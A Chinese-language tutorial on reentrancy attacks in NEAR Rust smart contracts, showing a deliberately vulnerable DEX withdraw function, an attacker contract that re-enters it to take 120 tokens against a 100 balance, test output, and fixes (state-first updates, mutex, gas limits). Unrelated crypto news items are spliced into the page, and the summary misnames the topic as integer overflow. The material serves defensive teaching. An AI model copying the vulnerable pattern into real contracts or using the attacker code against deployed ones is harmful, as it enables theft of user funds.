Rust 智能合約養成日記: 合約安全之重入攻擊

往期回顧：

Rust智能合約養成日記合約狀態數據定義與方法實現Rust智能合約養成日記編寫Rust智能合約單元測試Rust智能合約養成日記Rust智能合約部署，函數調用及Explorer的使用Rust智能合約養成日記Rust智能合約整數溢出這一期中我們將向大家展示Rust合約中重入攻擊，并提供給開發者相應的建議。本文中的相關代碼，已上傳至BlockSec的Github上，讀者可以自行下載：https://github.com/blocksecteam/near_demo

1.重入攻擊原理

我們用現實生活中的簡單例子來理解重入攻擊：即假設某用戶在銀行中存有100元現金，當用戶想要從銀行中取錢時，他將首先告訴柜員-A：“我想要取60元”。柜員-A此時將查詢用戶的余額為100元，由于該余額大于用戶想要取出的數額，所以柜員-A首先將60元現金交給了該位用戶。但是當柜員-A還沒有來得及將用戶的余額更新為40元的時，用戶跑去隔壁告訴另一位柜員-B：“我想要取60元”，并隱瞞了剛才已經向柜員-A取錢的事實。由于用戶的余額還沒有被柜員-A更新，柜員-B檢查用戶的余額仍舊為100元，因此柜員-B將毫不猶豫地繼續將60元交給用戶。最終用戶實際已經獲得了120元現金，大于之前存在銀行中的100元現金。

為什么會發生這樣的事情呢？究其原因還是因為柜員-A沒有事先將用戶的60元從該用戶的賬戶中扣除。若柜員-A能事先扣除金額。用戶再詢問柜員-B取錢時，柜員-B就會發現用戶的余額已更新，無法取出比余額(40元)更多的現金了。

以上述“從銀行取錢”這一典型過程為例，映射到具體的智能合約世界中來，實際上跨合約調用行為的發生和真正更新本地所維護的合約數據之間也同樣地存在一定的時間間隔。而該時間間隔的存在以及這兩個步驟之前不恰當的順序關系，將給攻擊者實施重入攻擊創造有利條件。

下文第2小節將首先介紹相關的背景知識，第3小節將在NEARLocalNet中演示說明一個具體的重入攻擊例子，以體現代碼重入對于部署在NEAR鏈上的智能合約的危害性。本文最后將具體介紹針對重入攻擊的防護技術，幫助大家更好的編寫Rust智能合約。

Negentropy Cpital投資歐洲Rideto Earn項目BikeRush150萬美金:4月13日消息，Negentropy Capital近日宣布對歐洲首個Rideto Earn騎行項目BikeRush投資150萬美金，作為BikeRush項目的種子輪融資。此輪融資將用于加速BikeRush產品研發落地以及全球市場的推廣。BikeRush是一款內置Rideto Earn的Web3健身Dapp產品，計劃于五月初全球發布上線，并于四月底在全球騎行愛好者社區內空投一萬個綠色自行車NFT。[2022/4/13 14:22:37]

2.背景知識：NEP141的轉賬操作

NEP141為NEAR公鏈上的FungibleToken標準。大部分NEAR上的Token都遵循NEP141標準。

當某一用戶想要從某一個Pool中，如去中心化交易所,充值(deposite)或者提現(withdraw)一定數額的Token時，用戶便可以調用相應的合約接口完成具體的操作。

DEX項目合約在執行所對應的接口函數時，將調用Token合約中的ft_transfer/ft_transfer_call函數，實現正式的轉賬操作。這兩個函數的區別如下：

當調用Token合約中的ft_transfer函數時，轉賬的接收者(receiver_id)為EOA賬戶。當調用Token合約中的ft_transfer_call函數時，轉賬的接收者(receiver_id)為合約賬戶。而對于ft_transfer_call而言，該方法內部除了首先會扣除該筆交易發起者(sender_id)的轉賬數額，并增加受轉賬用戶(receiver_id)的余額，此外還額外增加了對receiver_id合約中ft_on_transfer(收幣函數)的跨合約調用。這里可以簡單理解為，此時Token合約將提醒receiver_id合約，有用戶存入了指定數額的Token。receiver_id合約將在ft_on_transfer函數中自行維護內部賬戶的余額管理。

3.代碼重入的具體實例

假設存在如下3個智能合約：

合約A:Attacker合約；攻擊者將利用該合約實施后續的攻擊交易。合約B:Victim合約。為一個DEX合約。初始化的時候，Attacker賬戶擁有余額100，DEX的其他用戶擁有余額100。即此時DEX合約總共持有了200個Token。##pub?struct?VictimContract?{??attacker_balance:?u128,??other_balance:?u128,}?impl?Default?for?VictimContract?{??fn?default()?->?Self?{????Self?{??????attacker_balance:?100,??????other_balance:100???}?}}

卡巴斯基：針對bZx的釣魚攻擊可能由Lazarus黑客組織實施，該組織與朝鮮有密切聯系:11月12日消息，美國網絡安全公司卡巴斯基針對保證金交易借貸平臺bZx私鑰泄露事件調查發現，該次針對bZx的網絡釣魚攻擊很可能是由 Lazarus（Bluenoroff Advanced Persistent Group）組織執行，該組織長期以來一直攻擊金融機構和加密貨幣交易所，與朝鮮有密切聯系，被稱為國家支持的黑客組織。卡巴斯基調查分析了Lazarus在2017年、2019年和2020年進行的一些攻擊，發現該次私鑰事件的網絡釣魚郵件與之前攻擊所使用的工具具有相似性。

此前消息，11月5日，保證金交易借貸平臺bZx在Polygon和BSC部署的私鑰被泄露，造成超過5500萬美元資金被盜，該次攻擊是針對bZx開發者的網絡釣魚攻擊。[2021/11/12 21:45:39]

合約C:Token合約。

攻擊發生前，因為Attacker賬戶沒有從Victim合約提現，所以余額為0，此時Victim合約(DEX)的余額為100+100=200；

##pub?struct?FungibleToken?{??attacker_balance:?u128,??victim_balance:?u128}?impl?Default?for?FungibleToken?{??fn?default()?->?Self?{????Self?{??????attacker_balance:?0,??????victim_balance:?200???}?}?

下面描述該代碼重入攻擊的具體流程：

Attacker合約通過malicious_call函數，調用Victim合約中的withdraw函數；例如此時Attacker給withdraw函數傳入amount參數的值為60，希望從合約B中提現60；

impl?MaliciousContract?{??pub?fn?malicious_call(&mut?self,?amount:u128){????ext_victim::withdraw(??????amount.into(),??????&VICTIM,???????0,???????env::prepaid_gas()?-?GAS_FOR_SINGLE_CALL?????);?}...}

First Digital Trust融資215萬美元，Nogle等領投:4月22日消息，加密貨幣托管公司First Digital Trust近日完成215萬美元可轉換票據融資，由亞洲風險投資公司Nogle等領投。據Crunchbase報道，該公司目前總融資金額超過520萬美元。

該公司表示，這筆資金將使其能夠在亞洲地區推出首個借記卡和信用卡支付渠道，使其數字資產客戶能夠無縫地接受卡支付。（Cointelegraph）[2021/4/22 20:47:02]

在合約B中，withdraw函數開頭處的assert!(self.attacker_balance>=amount);`將檢查Attacker賬戶是否有足夠的余額，此時余額100>60，將通過斷言，執行withdraw中后續的步驟。impl?VictimContract?{??pub?fn?withdraw(&mut?self,amount:?u128)?->?Promise{????assert!(self.attacker_balance>=?amount);????//CallAttacker的收幣函數????ext_ft_token::ft_transfer_call(??????amount.into(),??????&FT_TOKEN,???????0,???????env::prepaid_gas()?-?GAS_FOR_SINGLE_CALL?*?2?????)?????.then(ext_self::ft_resolve_transfer(????????amount.into(),???????&env::current_account_id(),????????0,????????GAS_FOR_SINGLE_CALL,?????))?}...}?

合約B中的withdraw函數接著將調用合約C中的ft_transfer_call函數；通過上述代碼中的ext_ft_token::ft_transfer_call實現跨合約調用。

合約C中的ft_transfer_call函數，將更新attacker賬戶的余額=0+60=60，以及Victim合約賬戶的余額=200-60=140，隨后通過ext_fungible_token_receiver::ft_on_transfer調用合約A的ft_on_transfer“收幣”函數。#impl?FungibleToken?{??pub?fn?ft_transfer_call(&mut?self,amount:?u128)->?PromiseOrValue<U128>{????//相當于internal_ft_transfer????self.attacker_balance?+=?amount;????self.victim_balance???-=?amount;?????//CallAttacker的收幣函數????ext_fungible_token_receiver::ft_on_transfer(??????amount.into(),??????&ATTACKER,??????0,???????env::prepaid_gas()?-?GAS_FOR_SINGLE_CALL?????).into()?}...}

TrustBase與Apron Network達成戰略合作:據官方消息，TrustBase與Apron Network達成戰略合作，共同為波卡生態開發者提供更多基礎技術支持，幫助更多的開發者更容易地進入波卡生態。

TrustBase是基于Substrate框架，自主開發Subscript智能合約語言，支持多種工具插件及智能合約應用的Polkadot平行鏈。作為Polkadot生態系統中的基建類項目，TrustBase已獲得了Web3 Foundation Grant的認證扶持。

Apron Network 為應用開發者們、應用使用者們和基礎設施運營者們提供基于區塊鏈技術基礎設施服務的去中心化網絡。Apron Network 將為 Kusama 和 Polkadot 生態提供節點服務、鏈上數據索引、報價等基礎設施服務。[2021/2/6 19:03:56]

由于合約A被Attacker所控制，并且代碼存在惡意的行為。所以該“惡意”的ft_on_transfer函數可以再次通過執行ext_victim::withdraw，調用合約B中的withdraw函數，以此達到重入的效果。#impl?MaliciousContract?{??pub?fn?ft_on_transfer(&mut?self,?amount:?u128){????//惡意合約的收幣函數????if?self.reentered?==?false{??????ext_victim::withdraw(????????amount.into(),????????&VICTIM,?????????0,?????????env::prepaid_gas()?-?GAS_FOR_SINGLE_CALL???????);???}????self.reentered?=?true;?}...}

由于上一次進入withdraw以來，victim合約中的attacker_balance還沒有更新，所以還是100，因此此時仍舊可以通過assert!(self.attacker_balance>=amount)的檢查。withdraw后續將再次在FT_Token合約中跨合約調用ft_transfer_call函數，更新attacker賬戶的余額=60+60=120，以及Victim合約賬戶的余額=140-60=80；ft_transfer_call再次調用回Attacker合約中的ft_on_transfer函數。由于目前設置合約A中ft_on_transfer函數只會重入withdraw函數一次，所以重入行為在本次ft_on_transfer的調用時終止。此后函數將沿著之前的調用鏈逐級返回，導致合約B中的withdraw函數中在更新self.attacker_balance的時候，最終使得self.attacker_balance=100-60-60=-20由于self.attacker_balance是u128，且并沒有使用safe_math，因此將導致整數的溢出現象。最終執行的結果如下：

動態 | TrustToken推出澳元穩定幣:據coindesk報道，TrustToken周三宣布推出了一款由澳元1：1支持的穩定幣TrueAUD，并表示還將推出另外三款新穩定幣。港元穩定幣TrueHKD和加元穩定幣TrueCAD將在今年第二季度推出，歐元穩定幣TrueEUR預計會在今年第三季度正式推出。[2019/4/24]

$node?Triple_Contracts_Reentrancy.js?FinishinitNEARFinishdeploycontractsandcreatetestaccountsVictim::attacker_balance:3.402823669209385e+38FT_Token::attacker_balance:120FT_Token::victim_balance:80

即盡管用戶Attacker在DEX中鎖定的FungibleToken余額僅100，但是最終Attacker實際獲得的轉賬為120，實現了本次代碼重入攻擊的目的。

4.代碼重入防護技術

4.1先更新和與狀態，再轉賬。

更改合約B代碼withdraw中的執行邏輯為：

#impl?VictimContract?{??pub?fn?withdraw(&mut?self,amount:?u128)?->?Promise{????assert!(self.attacker_balance>=?amount);????self.attacker_balance?-=?amount;????//CallAttacker的收幣函數????ext_ft_token::ft_transfer_call(??????amount.into(),??????&FT_TOKEN,???????0,???????env::prepaid_gas()?-?GAS_FOR_SINGLE_CALL?*?2?????)?????.then(ext_self::ft_resolve_transfer(????????amount.into(),???????&env::current_account_id(),????????0,????????GAS_FOR_SINGLE_CALL,?????))?}

??#??pub?fn?ft_resolve_transfer(&mut?self,?amount:?u128){????match?env::promise_result(0){??????PromiseResult::NotReady?=>?unreachable!(),??????PromiseResult::Successful(_)?=>?{?????}??????PromiseResult::Failed?=>?{???????//若ext_ft_token::ft_transfer_call跨合約調用轉賬失敗，???????//則回滾之前賬戶余額狀態的更新self.attacker_balance?+=?amount;??????}???};?}

此時的執行效果如下：

$node?Triple_Contracts_Reentrancy.js?FinishinitNEARFinishdeploycontractsandcreatetestaccountsReceipt:873C5WqMyaXBFM3dmoR9t1sSo4g5PugUF8ddvmBS6g3X???Failure:Error:{"index":0,"kind":{"ExecutionError":"Smartcontractpanicked:panickedat'assertionfailed:self.attacker_balance>=amount',src/lib.rs:45:9"}}Victim::attacker_balance:40FT_Token::attacker_balance:60FT_Token::victim_balance:140

可見由于此時的Victim合約在withdraw的時候事先更新了用戶的余額，在調用外部的FungibleToken實施轉賬。因此當第二次重入了withdraw的時候，Victim合約中保存的attacker_balance已經更新為40，因此將無法通過assert!(self.attacker_balance>=amount);使得Attcker的調用流程由于觸發了AssertionPanic，無法利用代碼重入進行套利。

4.2引入互斥鎖

該方法類似于當柜員-A還沒有來得及將用戶的余額更新為40元的時，用戶跑去隔壁告訴另一位柜員-B：“我想要取60元”。盡管用戶隱瞞了剛才已經向柜員-A取錢的事實。但是柜員-B卻能夠知道用戶已經去過柜員-A那里，并且還沒有辦結所有的事項，此時柜員-B便可以拒絕用戶來取錢。通常情況下可以通過引入一個狀態變量，來實現一個互斥鎖

4.3設置GasLimit

例如在DEX合約的withdraw方法調用ext_ft_token::ft_transfer_call時，設置一個適當的GasLimit。此GasLimit將不夠支持下一次代碼再次重入DEX合約的withdraw函數，以此阻斷重入攻擊的能力。

例如對代碼做如下修改，限制withdraw方法調用外部函數時的GasLimit:

??pub?fn?withdraw(&mut?self,amount:?u128)?->?Promise{????assert!(self.attacker_balance>=?amount);????//CallAttacker的收幣函數????ext_ft_token::ft_transfer_call(??????amount.into(),??????&FT_TOKEN,???????0,?-???????env::prepaid_gas()?-?GAS_FOR_SINGLE_CALL?*?2+???????GAS_FOR_SINGLE_CALL?*?3?????)?????.then(ext_self::ft_resolve_transfer(????????amount.into(),???????&env::current_account_id(),????????0,????????GAS_FOR_SINGLE_CALL,?????))?}

修改后執行效果如下

$node?Triple_Contracts_Reentrancy.jsFinishinitNEARFinishdeploycontractsandcreatetestaccountsReceipt:5xsywUr4SePqfuotLXMragAC8P6wJuKGBuy5CTJSxRMX???Failure:Error:{"index":0,"kind":{"ExecutionError":"Exceededtheprepaidgas."}}Victim::attacker_balance:40FT_Token::attacker_balance:60FT_Token::victim_balance:140

可見限制跨合約函數調用時的GasLimit也能起到防止重入攻擊的效果。

本期總結和預告

這一期我們講述了rust智能合約中的整數溢出問題，同時給出了建議，在書寫代碼時盡量先更新狀態，再執行轉賬操作，并且設定合適的gas值，可以有效抵御重入攻擊，下一期我們將講述rust智能合約中的DoS問題，敬請關注。

Tags：TRATACATTACKDecentralized Eternal Virtual TravellerzetacoinATTN幣BLACKHOLE

非小號